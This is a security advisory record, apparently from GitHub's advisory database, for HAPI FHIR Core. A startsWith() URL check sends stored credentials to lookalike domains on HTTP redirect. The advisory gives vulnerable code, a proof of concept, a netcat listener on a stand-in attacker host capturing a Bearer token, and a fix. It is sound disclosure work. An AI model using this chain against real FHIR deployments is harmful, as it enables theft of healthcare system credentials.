{"id":"GHSA-fgv2-4q4g-wc35","summary":"HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect","details":"## Summary\n\n`ManagedWebAccessUtils.getServer()` uses `String.startsWith()` to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., `http://tx.fhir.org`) lack a trailing slash or host boundary check, an attacker-controlled domain like `http://tx.fhir.org.attacker.com` matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.\n\n## Details\n\nThe root cause is in `ManagedWebAccessUtils.getServer()` at `org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26`:\n\n```java\npublic static ServerDetailsPOJO getServer(String url, Iterable\u003cServerDetailsPOJO\u003e serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n          if (url.startsWith(serverDetails.getUrl())) {  // \u003c-- no host boundary check\n            return serverDetails;\n          }\n      }\n    }\n    return null;\n}\n```\n\nThe configured production terminology server URL is defined without a trailing slash in `FhirSettingsPOJO.java:19`:\n\n```java\nprotected static final String TX_SERVER_PROD = \"http://tx.fhir.org\";\n```\n\nThis means:\n- `\"http://tx.fhir.org.attacker.com/capture\".startsWith(\"http://tx.fhir.org\")` → **true**\n- `\"http://tx.fhir.org:8080/evil\".startsWith(\"http://tx.fhir.org\")` → **true**\n\n**Exploit chain via SimpleHTTPClient (redirect path):**\n\n1. `SimpleHTTPClient.get()` (`SimpleHTTPClient.java:68-105`) makes a request to `http://tx.fhir.org/ValueSet/$expand`\n2. On each redirect, the loop calls `getHttpGetConnection(url, accept)` (line 84) → `setHeaders(connection)` (line 117)\n3. `setHeaders()` (line 122-133) calls `authProvider.canProvideHeaders(url)` and `authProvider.getHeaders(url)` on the **redirect target URL**\n4. `ServerDetailsPOJOHTTPAuthProvider.getServerDetails()` (line 83-84) delegates to `ManagedWebAccessUtils.getServer(url.toString(), servers)`\n5. The `startsWith()` check matches `http://tx.fhir.org.attacker.com` against `http://tx.fhir.org`\n6. Credentials are dispatched to the attacker's server via `ServerDetailsPOJOHTTPAuthProvider.getHeaders()` (lines 38-58):\n   - Bearer tokens: `Authorization: Bearer {token}`\n   - Basic auth: `Authorization: Basic {base64(user:pass)}`\n   - API keys: `Api-Key: {apikey}`\n   - Custom headers from server config\n\nNote: An earlier fix (commit `6b615880` \"Strip headers on redirect\") added an `isNotSameHost()` check, but this was **removed** in commit `3871cc69` (\"Rework authorization providers in ManagedWebAccess\"). The current code on master has no host validation during redirect following.\n\n**Exploit chain via ManagedFhirWebAccessor (OkHttp path):**\n\n`ManagedFhirWebAccessor.httpCall()` (line 81-112) sets auth headers via `requestWithAuthorizationHeaders()` before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same `startsWith()` check in `canProvideHeaders()` applies.\n\nThe same vulnerable pattern also exists in `ManagedWebAccess.isLocal()` (line 214), where `url.startsWith(server.getUrl())` is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.\n\n## PoC\n\n**Step 1: Verify the prefix match behavior**\n\n```java\n// This demonstrates the core vulnerability\nString configuredUrl = \"http://tx.fhir.org\";  // FhirSettingsPOJO.TX_SERVER_PROD\nString attackerUrl = \"http://tx.fhir.org.attacker.com/capture\";\n\nSystem.out.println(attackerUrl.startsWith(configuredUrl));\n// Output: true\n```\n\n**Step 2: Demonstrate credential dispatch to wrong host**\n\nGiven a `fhir-settings.json` configuration at `~/.fhir/fhir-settings.json`:\n```json\n{\n  \"servers\": [\n    {\n      \"url\": \"http://tx.fhir.org\",\n      \"authenticationType\": \"token\",\n      \"token\": \"secret-bearer-token-12345\"\n    }\n  ]\n}\n```\n\nWhen `SimpleHTTPClient.get(\"http://tx.fhir.org/ValueSet/$expand\")` follows a 302 redirect to `http://tx.fhir.org.attacker.com/capture`:\n\n1. `setHeaders()` is called with the redirect target URL\n2. `authProvider.canProvideHeaders(new URL(\"http://tx.fhir.org.attacker.com/capture\"))` returns `true`\n3. `authProvider.getHeaders(...)` returns `{\"Authorization\": \"Bearer secret-bearer-token-12345\"}`\n4. The `Authorization` header with the secret token is sent to `tx.fhir.org.attacker.com`\n\n**Step 3: Attacker captures the credential**\n\n```bash\n# On attacker-controlled server (tx.fhir.org.attacker.com)\nnc -l -p 80 | head -20\n# Output includes:\n# GET /capture HTTP/1.1\n# Host: tx.fhir.org.attacker.com\n# Authorization: Bearer secret-bearer-token-12345\n```\n\n## Impact\n\n- **Credential theft**: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).\n- **Impersonation**: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.\n- **Broad exposure**: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in `fhir-settings.json` and makes outbound HTTP requests to terminology servers is affected.\n- **TLS downgrade**: The same `startsWith()` pattern in `ManagedWebAccess.isLocal()` could allow an attacker-controlled domain to be treated as \"local,\" bypassing the HTTPS enforcement.\n\n## Recommended Fix\n\nReplace the `startsWith()` check in `ManagedWebAccessUtils.getServer()` with proper URL host boundary validation:\n\n```java\npublic static ServerDetailsPOJO getServer(String url, Iterable\u003cServerDetailsPOJO\u003e serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n          if (urlMatchesServer(url, serverDetails.getUrl())) {\n            return serverDetails;\n          }\n      }\n    }\n    return null;\n}\n\n/**\n * Check if a URL matches a configured server URL with proper host boundary validation.\n * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.\n */\nprivate static boolean urlMatchesServer(String url, String serverUrl) {\n    if (url == null || serverUrl == null) return false;\n    if (!url.startsWith(serverUrl)) return false;\n    if (url.length() == serverUrl.length()) return true;\n    char nextChar = url.charAt(serverUrl.length());\n    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';\n}\n```\n\nApply the same fix to `ManagedWebAccess.isLocal()` at line 214 and the three-argument `getServer()` overload at line 14.\n\nAdditionally, consider re-introducing the host-equality check for redirects in `SimpleHTTPClient` (as was previously implemented in commit `6b615880` but removed in `3871cc69`) to provide defense-in-depth against credential leakage on cross-origin redirects.","aliases":["CVE-2026-34359"],"modified":"2026-03-31T19:04:15.554536Z","published":"2026-03-30T17:19:21Z","database_specific":{"github_reviewed_at":"2026-03-30T17:19:21Z","nvd_published_at":"2026-03-31T17:16:31Z","cwe_ids":["CWE-346"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-fgv2-4q4g-wc35"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34359"},{"type":"PACKAGE","url":"https://github.com/hapifhir/org.hl7.fhir.core"}],"affected":[{"package":{"name":"ca.uhn.hapi.fhir:org.hl7.fhir.core","ecosystem":"Maven","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.4"}]}],"versions":["0.0.1","0.0.14","0.0.2","0.1.14","0.1.18","1.0.0","1.1.67","4.0.0","4.0.1","4.0.2","4.0.3","4.1.0","4.2.0","5.0.0","5.0.10","5.0.11","5.0.12","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.20","5.0.21","5.0.22","5.0.7","5.0.8","5.0.9","5.1.0","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.13","5.2.16","5.2.18","5.2.19","5.2.20","5.2.3","5.2.4","5.2.5","5.2.7","5.2.8","5.2.9","5.3.0","5.3.1","5.3.10","5.3.11","5.3.12","5.3.14","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.10","5.4.11","5.4.12","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.4.7","5.4.8","5.4.9","5.5.1","5.5.10","5.5.11","5.5.12","5.5.13","5.5.14","5.5.15","5.5.16","5.5.2","5.5.3","5.5.4","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.1","5.6.100","5.6.101","5.6.102","5.6.103","5.6.104","5.6.105","5.6.106","5.6.107","5.6.108","5.6.109","5.6.110","5.6.111","5.6.112","5.6.113","5.6.114","5.6.115","5.6.116","5.6.117","5.6.12","5.6.13","5.6.15","5.6.17","5.6.18","5.6.19","5.6.2","5.6.20","5.6.21","5.6.22","5.6.23","5.6.24","5.6.25","5.6.26","5.6.27","5.6.28","5.6.29","5.6.3","5.6.30","5.6.31","5.6.32","5.6.33","5.6.34","5.6.35","5.6.36","5.6.37","5.6.38","5.6.39","5.6.4","5.6.40","5.6.41","5.6.42","5.6.43","5.6.44","5.6.45","5.6.46","5.6.47","5.6.48","5.6.5","5.6.50","5.6.51","5.6.52","5.6.53","5.6.54","5.6.55","5.6.56","5.6.57","5.6.58","5.6.59","5.6.6","5.6.60","5.6.61","5.6.62","5.6.63","5.6.64","5.6.65","5.6.66","5.6.67","5.6.68","5.6.69","5.6.7","5.6.70","5.6.71","5.6.72","5.6.73","5.6.74","5.6.75","5.6.76","5.6.77","5.6.78","5.6.79","5.6.80","5.6.81","5.6.82","5.6.83","5.6.84","5.6.85","5.6.86","5.6.87","5.6.88","5.6.881","5.6.89","5.6.9","5.6.90","5.6.91","5.6.92","5.6.93","5.6.94","5.6.95","5.6.96","5.6.97","5.6.971","5.6.98","5.6.99","6.0.0","6.0.1","6.0.10","6.0.11","6.0.12","6.0.13","6.0.14","6.0.15","6.0.16","6.0.17","6.0.18","6.0.19","6.0.2","6.0.20","6.0.21","6.0.22","6.0.22.1","6.0.22.2","6.0.23","6.0.24","6.0.25","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","6.0.9","6.1.0","6.1.1","6.1.10","6.1.11","6.1.12","6.1.13","6.1.14","6.1.15","6.1.16","6.1.2","6.1.2.1","6.1.2.2","6.1.3","6.1.4","6.1.5","6.1.6","6.1.7","6.1.8","6.1.9","6.2.0","6.2.1","6.2.10","6.2.11","6.2.12","6.2.13","6.2.14","6.2.15","6.2.2","6.2.3","6.2.4","6.2.5","6.2.6","6.2.6.1","6.2.7","6.2.8","6.2.9","6.3.0","6.3.1","6.3.10","6.3.11","6.3.12","6.3.13","6.3.14","6.3.15","6.3.16","6.3.17","6.3.18","6.3.19","6.3.2","6.3.20","6.3.21","6.3.22","6.3.23","6.3.24","6.3.25","6.3.26","6.3.27","6.3.28","6.3.29","6.3.3","6.3.30","6.3.31","6.3.32","6.3.4","6.3.5","6.3.6","6.3.7","6.3.8","6.3.9","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.5.0","6.5.1","6.5.10","6.5.11","6.5.12","6.5.13","6.5.14","6.5.15","6.5.16","6.5.17","6.5.18","6.5.18.1","6.5.19","6.5.2","6.5.20","6.5.21","6.5.22","6.5.23","6.5.24","6.5.25","6.5.26","6.5.27","6.5.28","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.5.9","6.6.0","6.6.1","6.6.2","6.6.3","6.6.4","6.6.5","6.6.6","6.6.7","6.7.0","6.7.1","6.7.10","6.7.11","6.7.2","6.7.3","6.7.4","6.7.5","6.7.6","6.7.7","6.7.8","6.7.9","6.8.0","6.8.1","6.8.2","6.9.0","6.9.1","6.9.2","6.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-fgv2-4q4g-wc35/GHSA-fgv2-4q4g-wc35.json"}},{"package":{"name":"ca.uhn.hapi.fhir:org.hl7.fhir.utilities","ecosystem":"Maven","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.utilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.4"}]}],"versions":["0.0.1","0.0.14","0.0.2","0.1.18","1.0.0","1.1.67","4.0.0","4.0.1","4.0.2","4.0.3","4.1.0","4.2.0","5.0.0","5.0.10","5.0.11","5.0.12","5.0.13","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.20","5.0.21","5.0.22","5.0.7","5.0.8","5.0.9","5.1.0","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.13","5.2.16","5.2.18","5.2.19","5.2.20","5.2.3","5.2.4","5.2.5","5.2.7","5.2.8","5.2.9","5.3.0","5.3.1","5.3.10","5.3.11","5.3.12","5.3.14","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.10","5.4.11","5.4.12","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.4.7","5.4.8","5.4.9","5.5.1","5.5.10","5.5.11","5.5.12","5.5.13","5.5.14","5.5.15","5.5.16","5.5.2","5.5.3","5.5.4","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.1","5.6.100","5.6.101","5.6.102","5.6.103","5.6.104","5.6.105","5.6.106","5.6.107","5.6.108","5.6.109","5.6.110","5.6.111","5.6.112","5.6.113","5.6.114","5.6.115","5.6.116","5.6.117","5.6.12","5.6.13","5.6.15","5.6.17","5.6.18","5.6.19","5.6.2","5.6.20","5.6.21","5.6.22","5.6.23","5.6.24","5.6.25","5.6.26","5.6.27","5.6.28","5.6.29","5.6.3","5.6.30","5.6.31","5.6.32","5.6.33","5.6.34","5.6.35","5.6.36","5.6.37","5.6.38","5.6.39","5.6.4","5.6.40","5.6.41","5.6.42","5.6.43","5.6.44","5.6.45","5.6.46","5.6.47","5.6.48","5.6.5","5.6.50","5.6.51","5.6.52","5.6.53","5.6.54","5.6.55","5.6.56","5.6.57","5.6.58","5.6.59","5.6.6","5.6.60","5.6.61","5.6.62","5.6.63","5.6.64","5.6.65","5.6.66","5.6.67","5.6.68","5.6.69","5.6.7","5.6.70","5.6.71","5.6.72","5.6.73","5.6.74","5.6.75","5.6.76","5.6.77","5.6.78","5.6.79","5.6.80","5.6.81","5.6.82","5.6.83","5.6.84","5.6.85","5.6.86","5.6.87","5.6.88","5.6.881","5.6.89","5.6.9","5.6.90","5.6.91","5.6.92","5.6.93","5.6.94","5.6.95","5.6.96","5.6.97","5.6.971","5.6.98","5.6.99","6.0.0","6.0.1","6.0.10","6.0.11","6.0.12","6.0.13","6.0.14","6.0.15","6.0.16","6.0.17","6.0.18","6.0.19","6.0.2","6.0.20","6.0.21","6.0.22","6.0.22.1","6.0.22.2","6.0.23","6.0.24","6.0.25","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","6.0.9","6.1.0","6.1.1","6.1.10","6.1.11","6.1.12","6.1.13","6.1.14","6.1.15","6.1.16","6.1.2","6.1.2.1","6.1.2.2","6.1.3","6.1.4","6.1.5","6.1.6","6.1.7","6.1.8","6.1.9","6.2.0","6.2.1","6.2.10","6.2.11","6.2.12","6.2.13","6.2.14","6.2.15","6.2.2","6.2.3","6.2.4","6.2.5","6.2.6","6.2.6.1","6.2.7","6.2.8","6.2.9","6.3.0","6.3.1","6.3.10","6.3.11","6.3.12","6.3.13","6.3.14","6.3.15","6.3.16","6.3.17","6.3.18","6.3.19","6.3.2","6.3.20","6.3.21","6.3.22","6.3.23","6.3.24","6.3.25","6.3.26","6.3.27","6.3.28","6.3.29","6.3.3","6.3.30","6.3.31","6.3.32","6.3.4","6.3.5","6.3.6","6.3.7","6.3.8","6.3.9","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.5.0","6.5.1","6.5.10","6.5.11","6.5.12","6.5.13","6.5.14","6.5.15","6.5.16","6.5.17","6.5.18","6.5.18.1","6.5.19","6.5.2","6.5.20","6.5.21","6.5.22","6.5.23","6.5.24","6.5.25","6.5.26","6.5.27","6.5.28","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.5.9","6.6.0","6.6.1","6.6.2","6.6.3","6.6.4","6.6.5","6.6.6","6.6.7","6.7.0","6.7.1","6.7.10","6.7.11","6.7.2","6.7.3","6.7.4","6.7.5","6.7.6","6.7.7","6.7.8","6.7.9","6.8.0","6.8.1","6.8.2","6.9.0","6.9.1","6.9.2","6.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-fgv2-4q4g-wc35/GHSA-fgv2-4q4g-wc35.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}